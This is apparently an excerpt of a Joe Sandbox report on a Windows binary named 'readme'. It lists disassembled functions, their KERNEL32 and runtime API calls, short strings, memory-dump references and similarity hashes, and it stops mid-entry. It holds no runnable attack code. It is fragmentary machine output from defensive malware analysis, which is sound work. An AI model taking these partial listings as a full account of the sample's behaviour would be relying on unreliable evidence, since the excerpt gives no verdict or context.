Part of subcall function 004074A0: ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074C9

Part of subcall function 004074A0: ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074DD

Part of subcall function 0040B610: ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 0040B70E
Part of subcall function 0040B610: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B728
Part of subcall function 0040B610: ReadFile.KERNEL32(00000000,004310B8,00000004,?,00000000), ref: 0040B744
Part of subcall function 0040B610: CloseHandle.KERNEL32(00000000), ref: 0040B760

GetProcessHeap.KERNEL32(00000000,00080000,00000001,00000000), ref: 0040BBCA
HeapAlloc.KERNEL32(00000000), ref: 0040BBD1
Sleep.KERNEL32(00002710,00000003), ref: 0040BC35
Sleep.KERNEL32(0002BF20,00000000), ref: 0040BD47
GetProcessHeap.KERNEL32(00000000,?), ref: 0040BD77
HeapFree.KERNEL32(00000000), ref: 0040BD7E

Part of subcall function 004074A0: ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074F1

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Heap$MutexRelease$FileProcessSleep$AllocCloseCreateEnvironmentExpandFreeHandleObjectReadSingleStringsWait
String ID:
API String ID: 852835205-0
Opcode ID: cb922d948c341c4ec4f5cf48101532b27f292cf533eb1d70b440bbdce6734a4b
Instruction ID: dbe7561af554c473106a4ec3f17350c3c00e3f78ca735fbf8e53c6946bf8a5ce
Opcode Fuzzy Hash: cb922d948c341c4ec4f5cf48101532b27f292cf533eb1d70b440bbdce6734a4b
Instruction Fuzzy Hash: 2D51B3716483415FE710DB61DC85BABBBA4EB95304F04183EF584972E2EB789405CBAE

Function 00428FE3 Relevance: 7.6, APIs: 5, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88afcefbdea34149f5487bb4a4a4e8b1a015dd47fa542d46d12a5e79c65998e6
Instruction ID: 7989a7ec8bd3e7dc296c367a6cca705834e82284c665f1faf7c5f8b3083430bb
Opcode Fuzzy Hash: 88afcefbdea34149f5487bb4a4a4e8b1a015dd47fa542d46d12a5e79c65998e6
Instruction Fuzzy Hash: 09410571F01136ABDF207F67BC888BF7AA4EA45764F91412FF814A2280D73C4D518A9C

Function 0041AD70 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 91stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 0041ADCA

Part of subcall function 0041BC30: WaitForSingleObject.KERNEL32(?,?), ref: 0041BCA3
Part of subcall function 0041BC30: GetOverlappedResult.KERNEL32(000000FF,?,00000001,00000000), ref: 0041BCB8

Strings

D, xrefs: 0041ADA5
., xrefs: 0041ADBC
T, xrefs: 0041ADAA

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: ObjectOverlappedResultSingleWaitlstrlen
String ID: .$D$T
API String ID: 1203007601-2113802054
Opcode ID: f4b806bf02d42cab6389b1d5623ed4ac62eeef1efafac6ca423e87d2abbb3ba1
Instruction ID: 3bc75d6c25ee899c0d3cbf15c6baa3f2471e4579f1b3dcf940514d54ae42f5c8
Opcode Fuzzy Hash: f4b806bf02d42cab6389b1d5623ed4ac62eeef1efafac6ca423e87d2abbb3ba1
Instruction Fuzzy Hash: 2731C1B621C3C19BC304EA2DD44169FBBD49BE5314F44486FF19583282DB68D548C7AF

Function 00407760 Relevance: 7.6, APIs: 5, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000,?,?,004088C2,?,?,00000000,000000FF,?,00000000), ref: 00407780
SetFilePointer.KERNEL32(00000000,?,00000000,00000000,?,00000001,?,0000000A), ref: 004077A6
WriteFile.KERNEL32(00000000,?,00000004,?,00000000,?,0000000A), ref: 004077C0
WriteFile.KERNEL32(00000000,?,00000004,?,00000000,?,0000000A), ref: 004077D0
CloseHandle.KERNEL32(00000000,?,0000000A), ref: 004077D3

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: File$Write$CloseCreateHandlePointer
String ID:
API String ID: 2529654636-0
Opcode ID: 9b37f0a862f01d551fb1315119285fc735368d34d06a2e386bcb12519b4e4b4b
Instruction ID: 1453553940a4d3892de4ff384dbac704556b8781b2e4a3aa95a78d14f1d764be
Opcode Fuzzy Hash: 9b37f0a862f01d551fb1315119285fc735368d34d06a2e386bcb12519b4e4b4b
Instruction Fuzzy Hash: 910152B2345210BBF224D665DC85FABB35CFB45B55F604529F301AB1C0D7B0B912866E

Function 00426F68 Relevance: 7.5, APIs: 5, Instructions: 37threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,00429D66,0042754D,00000000,0042E878,00000008,004275A4,?,?,?,004255E1,00000004,0042E528,0000000C,004274A4), ref: 00426F6A
FlsGetValue.KERNEL32(?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00426F78
SetLastError.KERNEL32(00000000,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00426FCE

Part of subcall function 0042AF1A: __lock.LIBCMT ref: 0042AF5E
Part of subcall function 0042AF1A: HeapAlloc.KERNEL32(00000008,?,0042EF98,00000010,00426F90,00000001,0000008C,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A), ref: 0042AF9C

FlsSetValue.KERNEL32(00000000,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00426F9F
GetCurrentThreadId.KERNEL32 ref: 00426FB7

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: ErrorLastValue$AllocCurrentHeapThread__lock
String ID:
API String ID: 3368326513-0
Opcode ID: cf15b98bab8d1defd9364abf7e131804ac3567f7b1877ef76dd4d84766d46405
Instruction ID: f63654c1ee938a50a5afa31d3a4a151140225177cbe4647d27af6bf58e16b5fd
Opcode Fuzzy Hash: cf15b98bab8d1defd9364abf7e131804ac3567f7b1877ef76dd4d84766d46405
Instruction Fuzzy Hash: 42F0FC317017219FDB302F61BE0D6463BE0EF04761B520539F681962E0CBB48805DB5D

Function 00413AD0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(0000011C,?,00000000,00000001,00415108), ref: 0041EF12
SetEvent.KERNEL32(00000128), ref: 0041EF20
SetEvent.KERNEL32(0000012C), ref: 0041EF2B
SetEvent.KERNEL32(00000124), ref: 0041EF36
SetEvent.KERNEL32(00000120), ref: 0041EF41

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: Event
String ID:
API String ID: 4201588131-0
Opcode ID: c5f2bf39e6656d233596ec134f051eeb9b07fd22e5f32040d0a10a1e3cd4c5e3
Instruction ID: 92241c2d29be1143f2a9536055d46b80d7f207951b744ccd9958107ee56c1688
Opcode Fuzzy Hash: c5f2bf39e6656d233596ec134f051eeb9b07fd22e5f32040d0a10a1e3cd4c5e3
Instruction Fuzzy Hash: F6F08273710910A7C31896F99C899EAE399FB8C395B45062AEA19D7310CA3CAC1047EC

Function 0042649B Relevance: 7.5, APIs: 5, Instructions: 32timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 004264B6
GetCurrentProcessId.KERNEL32 ref: 004264C2
GetCurrentThreadId.KERNEL32 ref: 004264CA
GetTickCount.KERNEL32 ref: 004264D2
QueryPerformanceCounter.KERNEL32(?), ref: 004264DE

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 7df64b2976afb430f347675c980c9b5000278784bc7ff6d537d0765b03531c1e
Instruction ID: 499c131aa02166e40c80eeea4be7d3552c431a5fdd0afb938acd6548f02731da
Opcode Fuzzy Hash: 7df64b2976afb430f347675c980c9b5000278784bc7ff6d537d0765b03531c1e
Instruction Fuzzy Hash: BCF0B271E00124ABDB20EBB5ED4859FB7F8FF08251BC60576D801E7160EA34A9558B88

Function 0041EF50 Relevance: 7.5, APIs: 5, Instructions: 32COMMON

Download Yara Rule

APIs

ResetEvent.KERNEL32(0000011C,?,00000000,00000001,00415134), ref: 0041EF67
ResetEvent.KERNEL32(00000128), ref: 0041EF76
ResetEvent.KERNEL32(0000012C), ref: 0041EF81
ResetEvent.KERNEL32(00000124), ref: 0041EF8C
ResetEvent.KERNEL32(00000120), ref: 0041EF97

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: EventReset
String ID:
API String ID: 2632953641-0
Opcode ID: 4822540d4da0aa7164793d8268a4d29bb95e7092dff5d4a8231710eff046bdde
Instruction ID: fc480dfa26fb09fbbc65d8aef6d91afcac74ba489442c4a45ccb12b9350b78a5
Opcode Fuzzy Hash: 4822540d4da0aa7164793d8268a4d29bb95e7092dff5d4a8231710eff046bdde
Instruction Fuzzy Hash: 8DF039B3211A009BC32096FACCC5EC7A3DAABCC305F190829A21DC3200C93CE8418778

Function 004221A7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?), ref: 00422278
GetFileAttributesA.KERNEL32(?), ref: 0042229B
GetFileAttributesA.KERNEL32(?), ref: 004222BE

Strings

fwe, xrefs: 004222C5

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: AttributesFile
String ID: fwe
API String ID: 3188754299-4005368934
Opcode ID: 9085168eafed1b4902fe1ac0c1bd680c0aa40f9c6ed121b420b30641bbf5303a
Instruction ID: 76594a64a599093f323b53c7ed8c786e31d7372582f6e569f4210dc002227436
Opcode Fuzzy Hash: 9085168eafed1b4902fe1ac0c1bd680c0aa40f9c6ed121b420b30641bbf5303a
Instruction Fuzzy Hash: CE315B3160879157CB21D6347820BFBF7D1AFD4300FA00B69E8D8C3281DBB69845C396

Function 00426F4B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

FlsFree.KERNEL32(00000005,0042720A,?,0042E598,00000060), ref: 00426F56
DeleteCriticalSection.KERNEL32(00000000,00000000,00000000,?,0042720A,?,0042E598,00000060), ref: 0042749C
DeleteCriticalSection.KERNEL32(00000005,00000000,?,0042720A,?,0042E598,00000060), ref: 004274C6

Strings

h C, xrefs: 00427489, 004274B3

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CriticalDeleteSection$Free
String ID: h C
API String ID: 1584690612-3285481218
Opcode ID: 01f5279fd6fd29356f328ce173e54860964db3a701b0153208304f489ed11fa6
Instruction ID: 46e1f5d38daa45a4b8a1175150061cd4bbfd52aad6ded1a2a2748f1cabc2c9bd
Opcode Fuzzy Hash: 01f5279fd6fd29356f328ce173e54860964db3a701b0153208304f489ed11fa6
Instruction Fuzzy Hash: D2F0A432A0423097CA346A18BC855A6B6E89F49731B55573FE9E9E32A0C33C9C42866C

Function 0042B4DF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,0042EFE0,00000010,00427463,00000000,00000FA0,75920A60,00000000,00427125,00425E71,?,0042E598,00000060), ref: 0042B502
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionAndSpinCount), ref: 0042B512

Strings

kernel32.dll, xrefs: 0042B4FD
InitializeCriticalSectionAndSpinCount, xrefs: 0042B50C

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: InitializeCriticalSectionAndSpinCount$kernel32.dll
API String ID: 1646373207-3733552308
Opcode ID: 268dcd9634f074ec502ce49ec15195abddda11da55df9ab9ea062583cc4446d2
Instruction ID: be9b0aabb06fe80ffec501557c266caa5c5a139848c1c9192b9c21e126a2179c
Opcode Fuzzy Hash: 268dcd9634f074ec502ce49ec15195abddda11da55df9ab9ea062583cc4446d2
Instruction Fuzzy Hash: EBF05470741335FACB10AFB2FD457593BA0EB04748F94452AE814D52A0D77C86819A6D

Function 00426C9C Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 195COMMON

Download Yara Rule

APIs

Part of subcall function 00426B77: _UnwindNestedFrames.LIBCMT ref: 00426B9A

InitializeCriticalSection.KERNEL32(00426CC1,00000003), ref: 0042B4D3

Strings

csm, xrefs: 00426D35
csm, xrefs: 00426CC5
csm, xrefs: 00426D69

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CriticalFramesInitializeNestedSectionUnwind
String ID: csm$csm$csm
API String ID: 2222982843-393685449
Opcode ID: acd91f781ee38c348a87f521f2261be69d72136644fc5ab93a629eaade7a4ad2
Instruction ID: f15770d1f245a1dc1dc769a00c4ac03cd43f694df1eb78c53a90dae53adbc7e3
Opcode Fuzzy Hash: acd91f781ee38c348a87f521f2261be69d72136644fc5ab93a629eaade7a4ad2
Instruction Fuzzy Hash: 7E719E35B00229DFCF14DF95E881AAE7BB5BF04314F96409BE810AB252C739D951CB9A

Function 0040B300 Relevance: 6.2, APIs: 4, Instructions: 187synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0042CF9D: _strlen.LIBCMT ref: 0042CFA7
Part of subcall function 0042CF9D: _strcat.LIBCMT ref: 0042CFBB

WaitForSingleObject.KERNEL32(?,000000FF,?,00000001,00000001,00000049), ref: 0040B3DB
ReleaseMutex.KERNEL32(?,00000000,?), ref: 0040B3FC
ReleaseMutex.KERNEL32(?,?,?,00000000,?), ref: 0040B479
ReleaseMutex.KERNEL32(?,00000000,00000000,?,00000000,000000FF,?,?,00000000,?), ref: 0040B50C

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: MutexRelease$ObjectSingleWait_strcat_strlen
String ID:
API String ID: 3541652364-0
Opcode ID: bbe3c3d9775a934ed54bf2637917896e3d47ae8e4b803ca53556c35cce3aae03
Instruction ID: a78adba943f63fa3003e78eeb40ee91bd2e846ea5eff56f134e5d262998a29b7
Opcode Fuzzy Hash: bbe3c3d9775a934ed54bf2637917896e3d47ae8e4b803ca53556c35cce3aae03
Instruction Fuzzy Hash: B761C071900215AFCB14EF69D981AAEB7B4FF44304F50453EE416E7392DB38AA04CBD9

Function 004294AE Relevance: 6.2, APIs: 4, Instructions: 167fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000003), ref: 00429528
GetLastError.KERNEL32 ref: 00429532
ReadFile.KERNEL32(?,?,00000001,00000000,00000000), ref: 004295FB
GetLastError.KERNEL32 ref: 00429605

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 3f785307c448bedb5446c6a9bf72b6bb0fc28e600880c9af1debf9112c80b894
Instruction ID: 0c3f56f59b5ddb8de00e56d924bfdf09652d2d5f3f214e5ba9bd8ddb3cf10382
Opcode Fuzzy Hash: 3f785307c448bedb5446c6a9bf72b6bb0fc28e600880c9af1debf9112c80b894
Instruction Fuzzy Hash: DB61C6317043A59FDF218F58D884B997BE0BF11308F94449BE5658B291C378DD46CB5A

Function 0042BC9F Relevance: 6.1, APIs: 4, Instructions: 145fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,00000001), ref: 0042BD87

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: f012d2ce11893e90015ea5c14048fdc879c812517038c19f2c3335cefbc8be64
Instruction ID: b69cdc61513ac084dd584beffdc22afea9c25ed320d97ba110819b699bdfb182
Opcode Fuzzy Hash: f012d2ce11893e90015ea5c14048fdc879c812517038c19f2c3335cefbc8be64
Instruction Fuzzy Hash: 7F518D31A10268CFDB32DFA9E880BEDBBB8FF45704FA1401AE9599B252D7344A01DF55

Function 0042C2A3 Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042C2C5

Part of subcall function 0042758B: EnterCriticalSection.KERNEL32(?,?,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 004275B3

__lock.LIBCMT ref: 0042C311
EnterCriticalSection.KERNEL32(0000008C,0042F618,00000014,0042C70F,?,00000000,00000000), ref: 0042C35B
LeaveCriticalSection.KERNEL32(0000008C), ref: 0042C368

Memory Dump Source

Source File: 00000000.00000002.2147013170.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2146992313.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147091714.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147127693.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000434000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2147148696.0000000000464000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_readme.jbxd

Similarity

API ID: CriticalSection$Enter__lock$Leave
String ID:
API String ID: 885841014-0
Opcode ID: 7e985fef4b773b36eea96ff8ad1ba3abeacee3e0040d83120a73aba8512290a5
Instruction ID: 190f3578051f98c2978070aa1ace5d718f57cceca4cdef8a86f22cce7d92fca2
Opcode Fuzzy Hash: 7e985fef4b773b36eea96ff8ad1ba3abeacee3e0040d83120a73aba8512290a5
